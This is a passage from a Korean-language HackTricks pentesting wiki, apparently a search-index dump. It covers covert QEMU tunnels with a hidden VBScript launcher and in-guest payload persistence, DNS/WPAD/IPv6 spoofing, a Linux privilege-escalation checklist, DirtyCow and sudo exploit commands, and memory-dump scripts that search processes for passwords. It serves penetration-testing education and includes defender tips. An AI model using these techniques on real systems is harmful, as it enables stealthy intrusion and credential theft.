완벽합니다.","breadcrumbs":"Tunneling and Port Forwarding » QEMU를 이용한 은밀한 VM 기반 터널","id":"1337","title":"QEMU를 이용한 은밀한 VM 기반 터널"},"1338":{"body":"powershell # Windows victim (no admin rights, no driver install – portable binaries only)\\nqemu-system-x86_64.exe ^\\n-m 256M ^\\n-drive file=tc.qcow2,if=ide ^\\n-netdev user,id=n0,hostfwd=tcp::2222-:22 ^\\n-device e1000,netdev=n0 ^\\n-nographic • 위의 명령은 Tiny Core Linux 이미지(tc.qcow2)를 RAM에서 실행합니다. • Windows 호스트의 포트 2222/tcp 는 게스트 내부의 22/tcp 로 투명하게 포워딩됩니다. • 공격자의 관점에서 대상은 단순히 포트 2222를 노출합니다. 해당 포트에 도달하는 모든 패킷은 VM에서 실행 중인 SSH 서버에 의해 처리됩니다.","breadcrumbs":"Tunneling and Port Forwarding » 간단한 원라이너","id":"1338","title":"간단한 원라이너"},"1339":{"body":"vb \' update.vbs – lived in C:\\\\ProgramData\\\\update\\nSet o = CreateObject(\\"Wscript.Shell\\")\\no.Run \\"stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22\\", 0 cscript.exe //B update.vbs로 스크립트를 실행하면 창이 숨겨집니다.","breadcrumbs":"Tunneling and Port Forwarding » VBScript를 통한 은밀한 실행","id":"1339","title":"VBScript를 통한 은밀한 실행"},"134":{"body":"공격자는 피해자가 요청하는 도메인 중 일부(또는 전부)를 해석합니다. bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on dnsmasq로 자체 DNS 구성 bash apt-get install dnsmasqecho \\"addn-hosts=dnsmasq.hosts\\" > dnsmasq.conf #Create dnsmasq.confecho \\"127.0.0.1 domain.example.com\\" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon\\ndig @localhost domain.example.com # Test the configured DNS","breadcrumbs":"Pentesting Network » DNS Spoofing","id":"134","title":"DNS Spoofing"},"1340":{"body":"Tiny Core는 상태 비저장 시스템이기 때문에 공격자는 일반적으로: 페이로드를 /opt/123.out에 배치합니다. /opt/bootlocal.sh에 추가합니다: sh while ! ping -c1 45.77.4.101; do sleep 2; done\\n/opt/123.out 페이로드가 종료 시 mydata.tgz에 패킹되도록 /opt/filetool.lst에 home/tc와 opt를 추가합니다.","breadcrumbs":"Tunneling and Port Forwarding » 게스트 내 지속성","id":"1340","title":"게스트 내 지속성"},"1341":{"body":"• 두 개의 서명되지 않은 실행 파일(qemu-system-*.exe)만이 디스크에 접근하며, 드라이버나 서비스는 설치되지 않습니다. • 호스트의 보안 제품은 무해한 루프백 트래픽 을 감지합니다(실제 C2는 VM 내부에서 종료됨). • 메모리 스캐너는 악성 프로세스 공간을 분석하지 않으며, 이는 다른 OS에 존재합니다.","breadcrumbs":"Tunneling and Port Forwarding » 왜 이것이 탐지를 피하는가","id":"1341","title":"왜 이것이 탐지를 피하는가"},"1342":{"body":"• 사용자 쓰기 가능한 경로에 예상치 못한 QEMU/VirtualBox/KVM 바이너리 에 대한 경고를 설정합니다. • qemu-system*.exe에서 시작되는 아웃바운드 연결을 차단합니다. • QEMU 시작 직후 즉시 바인딩되는 드문 리스닝 포트(2222, 10022, …)를 추적합니다.","breadcrumbs":"Tunneling and Port Forwarding » Defender 팁","id":"1342","title":"Defender 팁"},"1343":{"body":"https://github.com/securesocketfunneling/ssf https://github.com/z3APA3A/3proxy","breadcrumbs":"Tunneling and Port Forwarding » 확인할 다른 도구","id":"1343","title":"확인할 다른 도구"},"1344":{"body":"Hiding in the Shadows: Covert Tunnels via QEMU Virtualization Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Tunneling and Port Forwarding » 참고 문헌","id":"1344","title":"참고 문헌"},"1345":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Checklist - Linux Privilege Escalation » 체크리스트 - 리눅스 권한 상승","id":"1345","title":"체크리스트 - 리눅스 권한 상승"},"1346":{"body":"","breadcrumbs":"Checklist - Linux Privilege Escalation » 리눅스 로컬 권한 상승 벡터를 찾기 위한 최고의 도구: LinPEAS","id":"1346","title":"리눅스 로컬 권한 상승 벡터를 찾기 위한 최고의 도구: LinPEAS"},"1347":{"body":"OS 정보 가져오기 PATH 확인, 쓰기 가능한 폴더 가 있나요? 환경 변수 확인, 민감한 정보가 있나요? 커널 익스플로잇 스크립트를 사용하여 검색 (DirtyCow?) sudo 버전 이 취약한지 확인 Dmesg 서명 검증 실패 더 많은 시스템 열거 ( 날짜, 시스템 통계, CPU 정보, 프린터 ) 더 많은 방어 수단 열거","breadcrumbs":"Checklist - Linux Privilege Escalation » 시스템 정보","id":"1347","title":"시스템 정보"},"1348":{"body":"마운트된 드라이브 목록 마운트되지 않은 드라이브가 있나요? fstab에 자격 증명 이 있나요?","breadcrumbs":"Checklist - Linux Privilege Escalation » 드라이브","id":"1348","title":"드라이브"},"1349":{"body":"설치된 유용한 소프트웨어 확인 설치된 취약한 소프트웨어 확인","breadcrumbs":"Checklist - Linux Privilege Escalation » 설치된 소프트웨어","id":"1349","title":"설치된 소프트웨어"},"135":{"body":"시스템과 네트워크로 가는 경로가 여러 개 존재할 수 있습니다. 로컬 네트워크 내의 MAC addresses 목록을 작성한 후, _gateway-finder.py_를 사용해 IPv4 포워딩을 지원하는 hosts를 식별하십시오. root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git\\nroot@kali:~# cd gateway-finder/\\nroot@kali:~# arp-scan -l | tee hosts.txt\\nInterface: eth0, datalink type: EN10MB (Ethernet)\\nStarting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)\\n10.0.0.100 00:13:72:09:ad:76 Dell Inc.\\n10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION\\n10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp. root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99\\ngateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder\\n[+] Using interface eth0 (-I to change)\\n[+] Found 3 MAC addresses in hosts.txt\\n[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]\\n[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]","breadcrumbs":"Pentesting Network » 로컬 게이트웨이","id":"135","title":"로컬 게이트웨이"},"1350":{"body":"알 수 없는 소프트웨어가 실행되고 있나요? 더 많은 권한을 가진 소프트웨어가 실행되고 있나요? 실행 중인 프로세스의 익스플로잇 검색 (특히 실행 중인 버전). 실행 중인 프로세스의 바이너리를 수정 할 수 있나요? 프로세스를 모니터링 하고 흥미로운 프로세스가 자주 실행되는지 확인하세요. 흥미로운 프로세스 메모리 를 읽을 수 있나요 (비밀번호가 저장될 수 있는 곳)?","breadcrumbs":"Checklist - Linux Privilege Escalation » 프로세스","id":"1350","title":"프로세스"},"1351":{"body":"PATH 가 크론에 의해 수정되고 있으며, 그 안에 쓰기 가 가능한가요? 크론 작업에 와일드카드 가 있나요? 수정 가능한 스크립트 가 실행되고 있거나 수정 가능한 폴더 안에 있나요? 어떤 스크립트 가 매우 자주 실행되고 있는지 감지했나요? (매 1, 2 또는 5분마다)","breadcrumbs":"Checklist - Linux Privilege Escalation » 예약된/크론 작업?","id":"1351","title":"예약된/크론 작업?"},"1352":{"body":"쓰기 가능한 .service 파일이 있나요? 서비스에 의해 실행되는 쓰기 가능한 바이너리 가 있나요? systemd PATH에 쓰기 가능한 폴더 가 있나요?","breadcrumbs":"Checklist - Linux Privilege Escalation » 서비스","id":"1352","title":"서비스"},"1353":{"body":"쓰기 가능한 타이머 가 있나요?","breadcrumbs":"Checklist - Linux Privilege Escalation » 타이머","id":"1353","title":"타이머"},"1354":{"body":"쓰기 가능한 .socket 파일이 있나요? 어떤 소켓과 통신할 수 있나요? 흥미로운 정보가 있는 HTTP 소켓 이 있나요?","breadcrumbs":"Checklist - Linux Privilege Escalation » 소켓","id":"1354","title":"소켓"},"1355":{"body":"어떤 D-Bus와 통신할 수 있나요?","breadcrumbs":"Checklist - Linux Privilege Escalation » D-Bus","id":"1355","title":"D-Bus"},"1356":{"body":"네트워크를 열거하여 당신의 위치를 파악하세요 이전에 접근할 수 없었던 열린 포트 가 있나요? tcpdump를 사용하여 트래픽을 스니핑 할 수 있나요?","breadcrumbs":"Checklist - Linux Privilege Escalation » 네트워크","id":"1356","title":"네트워크"},"1357":{"body":"일반 사용자/그룹 열거 매우 큰 UID 가 있나요? 기계 가 취약한가요 ? 당신이 속한 그룹 덕분에 권한을 상승시킬 수 있나요? 클립보드 데이터? 비밀번호 정책? 이전에 발견한 모든 알려진 비밀번호 를 사용하여 각 가능한 사용자 로 로그인 시도하세요. 비밀번호 없이도 로그인 시도하세요.","breadcrumbs":"Checklist - Linux Privilege Escalation » 사용자","id":"1357","title":"사용자"},"1358":{"body":"PATH의 일부 폴더에 쓰기 권한 이 있다면 권한 상승이 가능할 수 있습니다.","breadcrumbs":"Checklist - Linux Privilege Escalation » 쓰기 가능한 PATH","id":"1358","title":"쓰기 가능한 PATH"},"1359":{"body":"sudo로 어떤 명령을 실행 할 수 있나요? 루트로 READ, WRITE 또는 EXECUTE 할 수 있나요? ( GTFOBins ) 악용 가능한 SUID 바이너리 가 있나요? ( GTFOBins ) sudo 명령이 경로에 의해 제한 되어 있나요? 제한을 우회 할 수 있나요 ? 경로가 표시되지 않은 Sudo/SUID 바이너리 ? 경로를 지정한 SUID 바이너리 ? 우회 LD_PRELOAD 취약점 쓰기 가능한 폴더에서 SUID 바이너리에 .so 라이브러리 부족 ? SUDO 토큰 사용 가능 ? SUDO 토큰을 생성할 수 있나요? sudoers 파일을 읽거나 수정할 수 있나요? **/etc/ld.so.conf.d/ 를 수정할 수 있나요? OpenBSD DOAS 명령","breadcrumbs":"Checklist - Linux Privilege Escalation » SUDO 및 SUID 명령","id":"1359","title":"SUDO 및 SUID 명령"},"136":{"body":"DNS 조회가 실패할 때 로컬 호스트 이름 해석을 위해 Microsoft 시스템은 Link-Local Multicast Name Resolution (LLMNR) 및 **NetBIOS Name Service (NBT-NS)**에 의존합니다. 마찬가지로 Apple Bonjour 및 Linux zero-configuration 구현은 네트워크 내 시스템을 발견하기 위해 **Multicast DNS (mDNS)**를 사용합니다. 이들 프로토콜은 인증을 요구하지 않고 UDP를 통해 브로드캐스트 방식으로 동작하기 때문에, 공격자가 사용자를 악성 서비스로 리다이렉트하기 위해 악용할 수 있습니다. Responder를 사용하여 호스트가 검색하는 서비스를 가장해 가짜 응답을 보낼 수 있습니다. 자세한 내용은 how to Impersonate services with Responder 을 읽어보세요.","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, and mDNS","id":"136","title":"Spoofing LLMNR, NBT-NS, and mDNS"},"1360":{"body":"어떤 바이너리에 예상치 못한 능력 이 있나요?","breadcrumbs":"Checklist - Linux Privilege Escalation » 능력","id":"1360","title":"능력"},"1361":{"body":"어떤 파일에 예상치 못한 ACL 이 있나요?","breadcrumbs":"Checklist - Linux Privilege Escalation » ACLs","id":"1361","title":"ACLs"},"1362":{"body":"screen tmux","breadcrumbs":"Checklist - Linux Privilege Escalation » 열린 셸 세션","id":"1362","title":"열린 셸 세션"},"1363":{"body":"Debian OpenSSL 예측 가능한 PRNG - CVE-2008-0166 SSH 흥미로운 구성 값","breadcrumbs":"Checklist - Linux Privilege Escalation » SSH","id":"1363","title":"SSH"},"1364":{"body":"프로파일 파일 - 민감한 데이터 읽기? 권한 상승을 위한 쓰기? passwd/shadow 파일 - 민감한 데이터 읽기? 권한 상승을 위한 쓰기? 민감한 데이터를 위해 일반적으로 흥미로운 폴더 확인 이상한 위치/소유 파일, 접근하거나 실행 파일을 변경할 수 있는 파일 최근 몇 분 내에 수정됨 Sqlite DB 파일 숨겨진 파일 PATH의 스크립트/바이너리 웹 파일 (비밀번호?) 백업 ? 비밀번호가 포함된 알려진 파일 : Linpeas 및 LaZagne 사용 일반 검색","breadcrumbs":"Checklist - Linux Privilege Escalation » 흥미로운 파일","id":"1364","title":"흥미로운 파일"},"1365":{"body":"임의의 명령을 실행하기 위해 파이썬 라이브러리 수정 ? 로그 파일을 수정할 수 있나요? Logtotten 익스플로잇 **/etc/sysconfig/network-scripts/**를 수정할 수 있나요? Centos/Redhat 익스플로잇 ini, int.d, systemd 또는 rc.d 파일에 쓸 수 있나요?","breadcrumbs":"Checklist - Linux Privilege Escalation » 쓰기 가능한 파일","id":"1365","title":"쓰기 가능한 파일"},"1366":{"body":"NFS를 악용하여 권한을 상승시킬 수 있나요? 제한된 셸에서 탈출할 필요가 있나요 ? tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Checklist - Linux Privilege Escalation » 기타 트릭","id":"1366","title":"기타 트릭"},"1367":{"body":"Reading time: 56 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Linux Privilege Escalation","id":"1367","title":"Linux Privilege Escalation"},"1368":{"body":"","breadcrumbs":"Linux Privilege Escalation » 시스템 정보","id":"1368","title":"시스템 정보"},"1369":{"body":"실행 중인 OS에 대한 정보를 수집해봅시다. bash (cat /proc/version || uname -a ) 2>/dev/null\\nlsb_release -a 2>/dev/null # old, not by default on many systems\\ncat /etc/os-release 2>/dev/null # universal on modern systems","breadcrumbs":"Linux Privilege Escalation » OS 정보","id":"1369","title":"OS 정보"},"137":{"body":"브라우저는 일반적으로 Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings 를 사용합니다. 이는 서버에서 구성 정보를 가져오는 것으로, 예를 들어 \\"http://wpad.example.org/wpad.dat\\"와 같은 URL을 통해 이루어집니다. 클라이언트가 이 서버를 발견하는 방법은 여러 가지가 있습니다: DHCP 를 통해, 특수 코드 252 항목을 이용해 발견됩니다. DNS 를 통해, 로컬 도메인 내에서 _wpad_라는 호스트명을 검색합니다. Microsoft LLMNR and NBT-NS 를 통해, DNS 조회가 실패할 경우의 폴백 메커니즘으로 동작합니다. 도구 Responder는 malicious WPAD server 로 동작하여 이 프로토콜을 악용합니다. DHCP, DNS, LLMNR 및 NBT-NS를 사용해 클라이언트를 속여 자신에게 연결하게 만듭니다. Responder를 사용해 서비스를 가장하는 방법에 대해 더 알아보려면 check this 를 참고하세요.","breadcrumbs":"Pentesting Network » Spoofing WPAD","id":"137","title":"Spoofing WPAD"},"1370":{"body":"PATH 변수 안의 어떤 폴더에 대해 쓰기 권한이 있다면 일부 라이브러리나 바이너리를 하이재킹할 수 있습니다: bash echo $PATH","breadcrumbs":"Linux Privilege Escalation » 경로","id":"1370","title":"경로"},"1371":{"body":"환경 변수에 흥미로운 정보, 비밀번호 또는 API 키가 있나요? bash (env || set) 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » 환경 정보","id":"1371","title":"환경 정보"},"1372":{"body":"kernel 버전을 확인하고, escalate privileges에 사용할 수 있는 exploit가 있는지 확인하세요. bash cat /proc/version\\nuname -a\\nsearchsploit \\"Linux Kernel\\" 취약한 커널 목록과 일부 compiled exploits 는 다음에서 찾을 수 있습니다: https://github.com/lucyoa/kernel-exploits 및 exploitdb sploits . 다른 사이트들에서도 일부 compiled exploits 를 찾을 수 있습니다: https://github.com/bwbwbwbw/linux-exploit-binaries , https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack 해당 웹사이트에서 모든 취약한 커널 버전을 추출하려면 다음을 수행할 수 있습니다: bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep \\"Kernels: \\" | cut -d \\":\\" -f 2 | cut -d \\"<\\" -f 1 | tr -d \\",\\" | tr \' \' \'\\\\n\' | grep -v \\"^\\\\d\\\\.\\\\d$\\" | sort -u -r | tr \'\\\\n\' \' \' kernel exploit을 검색하는 데 도움이 될 수 있는 도구는: linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py (피해자에서 실행, kernel 2.x용 exploit만 검사) 항상 Google에서 커널 버전을 검색 하세요. 아마도 커널 버전이 어떤 kernel exploit에 적혀 있을 수 있으니, 그러면 그 exploit가 유효한지 확신할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Kernel exploits","id":"1372","title":"Kernel exploits"},"1373":{"body":"Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 bash # make dirtycow stable\\necho 0 > /proc/sys/vm/dirty_writeback_centisecs\\ng++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil\\nhttps://github.com/dirtycow/dirtycow.github.io/wiki/PoCs\\nhttps://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c","breadcrumbs":"Linux Privilege Escalation » CVE-2016-5195 (DirtyCow)","id":"1373","title":"CVE-2016-5195 (DirtyCow)"},"1374":{"body":"다음에 나타나는 취약한 sudo 버전을 기반으로: bash searchsploit sudo 다음 grep을 사용하여 sudo 버전이 취약한지 확인할 수 있습니다. bash sudo -V | grep \\"Sudo ver\\" | grep \\"1\\\\.[01234567]\\\\.[0-9]\\\\+\\\\|1\\\\.8\\\\.1[0-9]\\\\*\\\\|1\\\\.8\\\\.2[01234567]\\" sudo < v1.28 작성자: @sickrov sudo -u#-1 /bin/bash","breadcrumbs":"Linux Privilege Escalation » Sudo 버전","id":"1374","title":"Sudo 버전"},"1375":{"body":"이 vuln이 어떻게 악용될 수 있는지에 대한 예시 는 smasher2 box of HTB 에서 확인하세요. bash dmesg 2>/dev/null | grep \\"signature\\"","breadcrumbs":"Linux Privilege Escalation » Dmesg 서명 검증 실패","id":"1375","title":"Dmesg 서명 검증 실패"},"1376":{"body":"bash date 2>/dev/null #Date\\n(df -h || lsblk) #System stats\\nlscpu #CPU info\\nlpstat -a 2>/dev/null #Printers info","breadcrumbs":"Linux Privilege Escalation » 더 많은 시스템 열거","id":"1376","title":"더 많은 시스템 열거"},"1377":{"body":"","breadcrumbs":"Linux Privilege Escalation » 가능한 방어책 열거","id":"1377","title":"가능한 방어책 열거"},"1378":{"body":"bash if [ `which aa-status 2>/dev/null` ]; then\\naa-status\\nelif [ `which apparmor_status 2>/dev/null` ]; then\\napparmor_status\\nelif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then\\nls -d /etc/apparmor*\\nelse\\necho \\"Not found AppArmor\\"\\nfi","breadcrumbs":"Linux Privilege Escalation » AppArmor","id":"1378","title":"AppArmor"},"1379":{"body":"bash ((uname -r | grep \\"\\\\-grsec\\" >/dev/null 2>&1 || grep \\"grsecurity\\" /etc/sysctl.conf >/dev/null 2>&1) && echo \\"Yes\\" || echo \\"Not found grsecurity\\")","breadcrumbs":"Linux Privilege Escalation » Grsecurity","id":"1379","title":"Grsecurity"},"138":{"body":"네트워크에서 다양한 서비스를 제공해 사용자를 속여 일부 plain-text credentials 를 입력하게 유도할 수 있습니다. 이 공격에 대한 자세한 내용은 Spoofing SSDP and UPnP Devices 를 참고하세요.","breadcrumbs":"Pentesting Network » Spoofing SSDP and UPnP devices","id":"138","title":"Spoofing SSDP and UPnP devices"},"1380":{"body":"bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo \\"Yes\\" || echo \\"Not found PaX\\")","breadcrumbs":"Linux Privilege Escalation » PaX","id":"1380","title":"PaX"},"1381":{"body":"bash (grep \\"exec-shield\\" /etc/sysctl.conf || echo \\"Not found Execshield\\")","breadcrumbs":"Linux Privilege Escalation » Execshield","id":"1381","title":"Execshield"},"1382":{"body":"bash (sestatus 2>/dev/null || echo \\"Not found sestatus\\")","breadcrumbs":"Linux Privilege Escalation » SElinux","id":"1382","title":"SElinux"},"1383":{"body":"bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null\\n#If 0, not enabled","breadcrumbs":"Linux Privilege Escalation » ASLR","id":"1383","title":"ASLR"},"1384":{"body":"docker container 안에 있다면 escape를 시도해볼 수 있습니다: Docker Security","breadcrumbs":"Linux Privilege Escalation » Docker Breakout","id":"1384","title":"Docker Breakout"},"1385":{"body":"무엇이 mounted and unmounted 되어 있는지, 어디에 그리고 왜 그런지 확인하세요. 만약 어떤 항목이 unmounted 되어 있다면 mount를 시도해보고 private info를 확인해보세요 bash ls /dev 2>/dev/null | grep -i \\"sd\\"\\ncat /etc/fstab 2>/dev/null | grep -v \\"^#\\" | grep -Pv \\"\\\\W*\\\\#\\" 2>/dev/null\\n#Check if credentials in fstab\\ngrep -E \\"(user|username|login|pass|password|pw|credentials)[=:]\\" /etc/fstab /etc/mtab 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » 드라이브","id":"1385","title":"드라이브"},"1386":{"body":"유용한 바이너리 열거 bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null 또한, 컴파일러가 설치되어 있는지 확인하세요 . 이는 일부 kernel exploit을 사용해야 할 경우 유용하며, 해당 exploit은 사용할 머신(또는 유사한 머신)에서 컴파일하는 것이 권장됩니다. bash (dpkg --list 2>/dev/null | grep \\"compiler\\" | grep -v \\"decompiler\\\\|lib\\" 2>/dev/null || yum list installed \'gcc*\' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r \\"/gcc[0-9\\\\.-]\\\\+$\\" 2>/dev/null | grep -v \\"/doc/\\")","breadcrumbs":"Linux Privilege Escalation » 유용한 소프트웨어","id":"1386","title":"유용한 소프트웨어"},"1387":{"body":"설치된 패키지와 서비스의 버전 을 확인하세요. 예를 들어 오래된 Nagios 버전이 있어 escalating privileges에 악용될 수 있습니다… 더 의심스러운 설치된 소프트웨어의 버전은 수동으로 확인하는 것이 권장됩니다. bash dpkg -l #Debian\\nrpm -qa #Centos 머신에 SSH 접근 권한이 있다면 openVAS 를 사용해 머신 내부에 설치된 오래되었거나 취약한 소프트웨어를 검사할 수 있습니다. [!NOTE] > 명령어들은 많은 정보를 보여주며 대부분 쓸모없을 수 있으니, 설치된 소프트웨어 버전이 알려진 exploits에 취약한지 확인해주는 OpenVAS 같은 애플리케이션을 사용하는 것이 권장됩니다","breadcrumbs":"Linux Privilege Escalation » 설치된 취약한 소프트웨어","id":"1387","title":"설치된 취약한 소프트웨어"},"1388":{"body":"실행 중인 어떤 프로세스들 을 살펴보고, 어떤 프로세스가 가져야 할 것보다 더 많은 권한을 가지고 있는지 확인하세요(예: tomcat이 root로 실행되는 경우?) bash ps aux\\nps -ef\\ntop -n 1 Always check for possible electron/cef/chromium debuggers 실행 여부를 확인하세요, 이를 악용해 권한 상승할 수 있습니다 . Linpeas detect those by checking the --inspect parameter inside the command line of the process. Also check your privileges over the processes binaries , maybe you can overwrite someone.","breadcrumbs":"Linux Privilege Escalation » 프로세스","id":"1388","title":"프로세스"},"1389":{"body":"프로세스를 모니터링하기 위해 pspy 같은 도구를 사용할 수 있습니다. 이는 취약한 프로세스가 자주 실행되거나 특정 조건을 만족할 때 이를 식별하는 데 매우 유용할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Process monitoring","id":"1389","title":"Process monitoring"},"139":{"body":"이 공격은 IPv6 환경에서의 ARP Spoofing과 매우 유사합니다. 피해자로 하여금 GW의 IPv6가 공격자의 MAC을 가진 것이라고 생각하게 만들 수 있습니다. bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested\\nsudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds","breadcrumbs":"Pentesting Network » IPv6 Neighbor Spoofing","id":"139","title":"IPv6 Neighbor Spoofing"},"1390":{"body":"일부 서버 서비스는 메모리 내에 평문으로 credentials를 저장 합니다. 보통 다른 사용자가 소유한 프로세스의 메모리를 읽으려면 root 권한 이 필요하므로, 이는 보통 이미 root인 상태에서 추가 자격증명을 찾을 때 더 유용합니다. 하지만, 일반 사용자로서 자신이 소유한 프로세스의 메모리는 읽을 수 있다는 점을 기억하세요. warning Note that nowadays most machines don\'t allow ptrace by default which means that you cannot dump other processes that belong to your unprivileged user. The file /proc/sys/kernel/yama/ptrace_scope controls the accessibility of ptrace: kernel.yama.ptrace_scope = 0 : all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. kernel.yama.ptrace_scope = 1 : only a parent process can be debugged. kernel.yama.ptrace_scope = 2 : Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. kernel.yama.ptrace_scope = 3 : No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. GDB 예를 들어 FTP 서비스의 메모리에 접근할 수 있다면, Heap을 획득하여 그 안에서 자격증명을 검색할 수 있습니다. bash gdb -p \\n(gdb) info proc mappings\\n(gdb) q\\n(gdb) dump memory /tmp/mem_ftp \\n(gdb) q\\nstrings /tmp/mem_ftp #User and password GDB Script dump-memory.sh #!/bin/bash\\n#./dump-memory.sh \\ngrep rw-p /proc/$1/maps \\\\\\n| sed -n \'s/^\\\\([0-9a-f]*\\\\)-\\\\([0-9a-f]*\\\\) .*$/\\\\1 \\\\2/p\' \\\\\\n| while read start stop; do \\\\\\ngdb --batch --pid $1 -ex \\\\\\n\\"dump memory $1-$start-$stop.dump 0x$start 0x$stop\\"; \\\\\\ndone /proc/$pid/maps & /proc/$pid/mem 주어진 프로세스 ID에 대해, maps는 해당 프로세스 내에서 메모리가 어떻게 매핑되는지 보여준다 가상 주소 공간; 또한 각 매핑된 영역의 권한 을 표시한다. 이 mem 의사 파일은 프로세스의 메모리 자체를 노출한다 . 해당 maps 파일에서 우리는 어떤 메모리 영역들이 읽을 수 있는지 와 그 오프셋을 알 수 있다. 우리는 이 정보를 사용해 mem 파일에서 오프셋으로 이동(seek)하여 읽을 수 있는 모든 영역을 파일로 덤프한다 . bash procdump()\\n(\\ncat /proc/$1/maps | grep -Fv \\".so\\" | grep \\" 0 \\" | awk \'{print $1}\' | ( IFS=\\"-\\"\\nwhile read a b; do\\ndd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \\\\\\nskip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of=\\"$1_mem_$a.bin\\"\\ndone )\\ncat $1*.bin > $1.dump\\nrm $1*.bin\\n) /dev/mem /dev/mem는 시스템의 물리적 메모리에 접근할 수 있게 해주며, 가상 메모리는 아닙니다. 커널의 가상 주소 공간은 /dev/kmem을 사용해 접근할 수 있습니다. 일반적으로, /dev/mem은 root 및 kmem 그룹만 읽을 수 있습니다. strings /dev/mem -n10 | grep -i PASS","breadcrumbs":"Linux Privilege Escalation » Process memory","id":"1390","title":"Process memory"},"1391":{"body":"ProcDump은 Windows용 Sysinternals 툴 모음의 클래식 ProcDump 도구를 Linux용으로 재구현한 것입니다. 다음에서 얻을 수 있습니다: https://github.com/Sysinternals/ProcDump-for-Linux procdump -p 1714 ProcDump v1.2 - Sysinternals process dump utility\\nCopyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.\\nMark Russinovich, Mario Hewardt, John Salem, Javid Habibi\\nMonitors a process and writes a dump file when the process meets the\\nspecified criteria. Process: sleep (1714)\\nCPU Threshold: n/a\\nCommit Threshold:\\tn/a\\nThread Threshold: n/a\\nFile descriptor Threshold: n/a\\nSignal: n/a\\nPolling interval (ms):\\t1000\\nThreshold (s):\\t10\\nNumber of Dumps:\\t1\\nOutput directory for core dumps:\\t. Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps\\n[20:20:58 - INFO]: Timed:\\n[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714","breadcrumbs":"Linux Privilege Escalation » 